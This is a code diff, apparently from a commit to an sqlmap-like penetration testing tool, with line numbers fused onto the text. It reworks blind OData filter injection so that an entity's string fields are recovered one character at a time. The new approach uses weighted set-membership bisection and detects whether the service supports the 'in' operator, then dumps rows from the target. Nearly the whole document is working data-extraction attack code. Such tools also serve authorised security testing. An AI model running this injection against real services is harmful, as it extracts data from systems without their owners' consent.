4444from lib .utils .nonsql import ratio as _ratio
4545from lib .utils .nonsql import userDecision
4646from lib .utils .nonsql import userOracleActive
47+ from lib .core .settings import HUFFMAN_PRIOR_WEIGHTS
4748from lib .core .settings import ODATA_CHAR_MAX
4849from lib .core .settings import ODATA_CHAR_MIN
50+ from lib .core .settings import ODATA_CHARSET_BLOCK
4951from lib .core .settings import ODATA_COMMON_FIELDS
5052from lib .core .settings import ODATA_ERROR_REGEX
5153from lib .core .settings import ODATA_ERROR_SIGNATURES
7880)
7981
8082# Charset for blind character recovery.
81- # NOTE recovery uses EXACT equality (substring(...) eq 'c'), not a '>=' bisection: .NET / OData string
83+ # NOTE recovery uses EXACT equality (substring(...) eq 'c'), never a '>=' bisection: .NET / OData string
8284# relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a
83- # lexicographic bisection, whereas eq is ordinal and exact. So the set is ordered by real-world frequency
84- # to keep the linear scan short on typical data rather than by codepoint. Because the scan is exact
85- # rather than positional, the order is free and a missing codepoint only costs coverage - it cannot
86- # alias onto a neighbour the way a bisection hole does. Nothing is excluded: the one character OData
87- # cannot carry raw inside a literal, the single quote, is doubled per the spec instead of dropped.
85+ # lexicographic bisection, whereas eq is ordinal and exact. Bisection is recovered WITHOUT ordering by
86+ # asking about a whole candidate set per request (see _memberOf), so the set is ordered by real-world
87+ # frequency - a common character is settled inside the first block. Because the probe is exact rather
88+ # than positional, the order is free and a missing codepoint only costs coverage - it cannot alias onto
89+ # a neighbour the way a bisection hole does. Nothing is excluded: the one character OData cannot carry
90+ # raw inside a literal, the single quote, is doubled per the spec instead of dropped.
8891_FREQ = (tuple (xrange (ord ('a' ), ord ('z' ) + 1 )) + tuple (xrange (ord ('A' ), ord ('Z' ) + 1 )) +
8992 tuple (xrange (ord ('0' ), ord ('9' ) + 1 )) + tuple (ord (_ ) for _ in " @._-+:/!#$%&*=?" ))
9093_CS_ORDS = []
9598 if _o not in _CS_ORDS :
9699 _CS_ORDS .append (_o )
97100
101+ # ...and weighted by the same shipped character prior blind SQL retrieval banks on, so a set is split
102+ # at its cumulative-WEIGHT midpoint rather than its midpoint by count. That puts the likely characters
103+ # nearer the root of the decision tree, which is what beats a uniform bisection's flat log2(charset).
104+ _CS_WEIGHTS = dict ((_o , HUFFMAN_PRIOR_WEIGHTS .get (_o , 1 )) for _o in _CS_ORDS )
105+ _CS_ORDS .sort (key = lambda _o : - _CS_WEIGHTS [_o ])
106+
107+
108+ def _splitPoint (candidates ):
109+ """Where to cut `candidates` so that either answer is about equally likely (never degenerate)."""
110+
111+ half = sum (_CS_WEIGHTS [_ ] for _ in candidates ) / 2.0
112+ running = 0
113+ for index , ordinal in enumerate (candidates ):
114+ running += _CS_WEIGHTS [ordinal ]
115+ if running >= half :
116+ return min (index + 1 , len (candidates ) - 1 )
117+ return len (candidates ) - 1
118+
98119
99120def _literal (ordinal ):
100121 """One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped)."""
@@ -399,13 +420,38 @@ def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True
399420 return None , []
400421
401422
402- def _inferField (oracle , key , keyValue , field , maxLen = ODATA_MAX_LENGTH ):
423+ def _memberOf (oracle , pin , field , pos , ordinals , useIn ):
424+ """One request asking whether the character at `pos` is ANY of `ordinals`."""
425+
426+ substring = "substring(%s,%d,1)" % (field , pos )
427+ if useIn :
428+ return oracle ("(%s%s in (%s))" % (pin , substring , "," .join (_literal (_ ) for _ in ordinals )))
429+ return oracle ("(%s(%s))" % (pin , " or " .join ("%s eq %s" % (substring , _literal (_ )) for _ in ordinals )))
430+
431+
432+ def _supportsIn (oracle , pin ):
433+ """Whether the service speaks the v4.01 `in` operator, settled by a differential so one that merely
434+ tolerates the syntax cannot fake it. Both spellings ask the identical question, but `in` costs the
435+ parser a SINGLE node against ~8 per candidate for the disjunction, and the ceiling is real: ASP.NET
436+ Core OData allows 100 nodes by default (MaxNodeCount) and was measured rejecting an 11-term
437+ disjunction outright. So `in`, where offered, buys headroom on a service configured stricter than
438+ the default rather than a bigger question."""
439+
440+ try :
441+ return oracle ("(%s'a' in ('a','b'))" % pin ) and not oracle ("(%s'a' in ('b','c'))" % pin )
442+ except InconclusiveError :
443+ return False
444+
445+
446+ def _inferField (oracle , key , keyValue , field , maxLen = ODATA_MAX_LENGTH , useIn = None ):
403447 """Blindly recover one string property of the entity pinned by key==keyValue: length by binary
404- search, then each character by bisecting its index in the codepoint-ordered charset . OData substring()
405- is 0-indexed, so character `pos` (1-based) is substring(field,pos-1,1)."""
448+ search, then each character by set-membership bisection . OData substring() is 0-indexed, so
449+ character `pos` (1-based) is substring(field,pos-1,1)."""
406450
407451 pin = "%s eq %d and " % (key , keyValue )
408452 try :
453+ if useIn is None :
454+ useIn = _supportsIn (oracle , pin )
409455 if not oracle ("(%slength(%s) ge 1)" % (pin , field )):
410456 return ""
411457 lo , hi = 1 , maxLen
@@ -419,12 +465,22 @@ def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH):
419465
420466 chars = []
421467 for pos in xrange (length ):
422- # exact-match linear scan (eq is ordinal); frequency order keeps it short on typical values
468+ # A whole candidate set is asked about in ONE request, so a probe halves the space just as
469+ # a relational bisection would - without ever leaving `eq`, the only comparison .NET does
470+ # not case-fold. The weight-ordered blocks are tried in turn, so a likely character is
471+ # settled by the first of them and never pays for the rest of the charset.
423472 recovered = "?"
424- for ordinal in _CS_ORDS :
425- if oracle ("(%ssubstring(%s,%d,1) eq %s)" % (pin , field , pos , _literal (ordinal ))):
426- recovered = chr (ordinal )
427- break
473+ for start in xrange (0 , len (_CS_ORDS ), ODATA_CHARSET_BLOCK ):
474+ candidates = _CS_ORDS [start :start + ODATA_CHARSET_BLOCK ]
475+ if not _memberOf (oracle , pin , field , pos , candidates , useIn ):
476+ continue
477+ while len (candidates ) > 1 :
478+ # membership in `candidates` is established, so the untested side is implied
479+ cut = _splitPoint (candidates )
480+ candidates = (candidates [:cut ] if _memberOf (oracle , pin , field , pos , candidates [:cut ], useIn )
481+ else candidates [cut :])
482+ recovered = chr (candidates [0 ])
483+ break
428484 chars .append (recovered )
429485 except InconclusiveError :
430486 logger .warning ("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field )
@@ -482,13 +538,19 @@ def _dumpEntities(place, parameter, boundary, emptyPage):
482538 % (key , len (keys ), "y" if len (keys ) == 1 else "ies" , ", " .join (fields )))
483539
484540 rows = []
541+ useIn = None
485542 for value in keys :
486543 oracle = _makeOracle (place , parameter , boundary , truePredicate = "(%s eq %d)" % (key , value ))
487544 if oracle is None :
488545 continue
546+ if useIn is None :
547+ # a property of the service, not of the entity, so it is settled once for the whole dump
548+ useIn = _supportsIn (oracle , "%s eq %d and " % (key , value ))
549+ logger .debug ("service %s the 'in' operator, so one probe covers %d candidate character(s)"
550+ % ("speaks" if useIn else "does not speak" , len (_CS_ORDS ) if useIn else ODATA_CHARSET_BLOCK ))
489551 row = [str (value )]
490552 for field in fields [1 :]:
491- recovered = _inferField (oracle , key , value , field )
553+ recovered = _inferField (oracle , key , value , field , useIn = useIn )
492554 row .append ("?" if recovered is None else recovered )
493555 rows .append (row )
494556
0 commit comments